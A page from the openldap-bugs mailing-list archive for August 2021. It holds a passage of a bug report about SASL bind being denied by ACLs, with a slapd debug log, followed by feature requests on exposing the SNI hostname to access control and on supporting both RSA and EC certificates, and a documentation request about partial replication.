0x7f50731ac640 <= mdb_dn2id: got id=0x3 612d053d.03ae33e0 0x7f50731ac640 => mdb_entry_decode: 612d053d.03ae6313 0x7f50731ac640 <= mdb_entry_decode 612d053d.03ae845b 0x7f50731ac640 => access_allowed: auth access to "uid=lui.veve,ou=persons,o=AEGEE" "entry" requested 612d053d.03aea02f 0x7f50731ac640 => dn: [1] ou=persons,o=aegee 612d053d.03aeba1a 0x7f50731ac640 => acl_get: [1] matched 612d053d.03aed0bf 0x7f50731ac640 => dn: [2] ou=persons,o=aegee 612d053d.03aee392 0x7f50731ac640 => acl_get: [2] matched 612d053d.03aef47c 0x7f50731ac640 => acl_get: [2] attr entry 612d053d.03af0c39 0x7f50731ac640 => acl_mask: access to entry "uid=lui.veve,ou=persons,o=AEGEE", attr "entry" requested 612d053d.03af2f6a 0x7f50731ac640 => acl_mask: to all values by "", (=0) 612d053d.03af45c9 0x7f50731ac640 <= check a_dn_pat: self 612d053d.03af513f 0x7f50731ac640 <= acl_mask: no more <who> clauses, returning =0 (stop) 612d053d.03af626f 0x7f50731ac640 => slap_access_allowed: auth access denied by =0 612d053d.03af7a71 0x7f50731ac640 => access_allowed: no more rules This is inconsistent. SASL bind shall also request only AUTH access to the userPassword, just as SIMPLE BIND does. Moreover, https://www.openldap.org/doc/admin25/access-control.html#Basic%20ACLs does suggest: Generally one should start with some basic ACLs such as: access to attrs=userPassword by self =xw by anonymous auth by * none access to * by self write by users read by * none So the suggestion is to grant "by anonymous auth" access only to attrs=userPassword , before granting any other access. If I change to olcAccess: to dn.one="ou=persons,o=AEGEE" by self read by anonymous auth then both SASL BIND and SIMPLE BIND work. Version 2.5.7-g22d1c5954e8629b. -- You are receiving this mail because: You are on the CC list for the issue.

1 7

[Issue 9655] New: Expose the SNI hostname to olcAccess
by openldap-its＠openldap.org 30 Aug '21

30 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9655 Issue ID: 9655 Summary: Expose the SNI hostname to olcAccess Product: OpenLDAP Version: 2.5.4 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- Since OpenLDAP now supports SNI, it apparently knows to which Host the client has connected, when the server is reachable under many names. • Expose the negotiated hostname to oclAccess and provide example how to limit the namingContext on the root DSE based on the requested host Rationale: HTTP servers offer the concept of virtual domains, where they serve different content behind the same IP, based on the Host: header. I want to offer public, anonymous LDAP access, but the returned results shall be completely different, and depend on the contacted host. The statements in the <WHO> field peername=<peername>, sockname=<sockname>, domain=<domain>, and sockurl=<sockurl> are evaluated only based on the contacting system (do not depend on the requested domain). (Maybe the “contacting sockurl” can do this, but this is not very clear from the documentation). So they serve similar purpose, but ignore SNI. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

[Issue 9654] New: Allow using both Elliptic curves and RSA certificate
by openldap-its＠openldap.org 30 Aug '21

30 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9654 Issue ID: 9654 Summary: Allow using both Elliptic curves and RSA certificate Product: OpenLDAP Version: 2.5.4 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: dpa-openldap(a)aegee.org Target Milestone: --- sendmail and Cyrus IMAP allow to set two TLS server certificates -one RSA and EC. When the client supports Elliptic curves, the smaller EC certificate is used. Likewise it accepts two private keys, in case the private key is not included in the certificate file. In sendmail and Cyrus IMAP, two certificates are set in the same directive, separated with comma: define(`confSERVER_CERT', `/etc/zzz/fullchain.pem,/etc/zzz/fullchain_ec.pem') define(`confSERVER_KEY', `/etc/zzz/privkey.pem,/etc/zzz/privkey_ec.pem') In Cyrus IMAP the code dealing with this for OpenSSL is at https://github.com/cyrusimap/cyrus-imapd/blob/master/imap/tls.c#L453 : cf1/kf1 is the fist public/private key, cf2/kf2 are the second. In sendmail the code is in sendmail/tls.c:inittls() - it calls SSL_CTX_use_PrivateKey_file twice - once with keyfile and once with kf2 (keyfile 2). • Extend OpenLDAP to accept several certificates (RSA/EC) - either per permitting several (comma separated) values in olcTLSCertificateFile/olcTLSCertificateKeyFile , or by allowing several occurrences of the property. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 9587] New: Admin guide: Need example partial replication configuration
by openldap-its＠openldap.org 27 Aug '21

27 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9587 Issue ID: 9587 Summary: Admin guide: Need example partial replication configuration Product: OpenLDAP Version: 2.5.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The admin guide states: Syncrepl supports partial, sparse, and fractional replications but there are no example configurations for partial replication to draw from. This needs to be added to the guide. -- You are receiving this mail because: You are on the CC list for the issue.

1 2

← Newer
1
...
8
9
10
11
12
13
14
...
26
Older →

Jump to page:

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs August 2021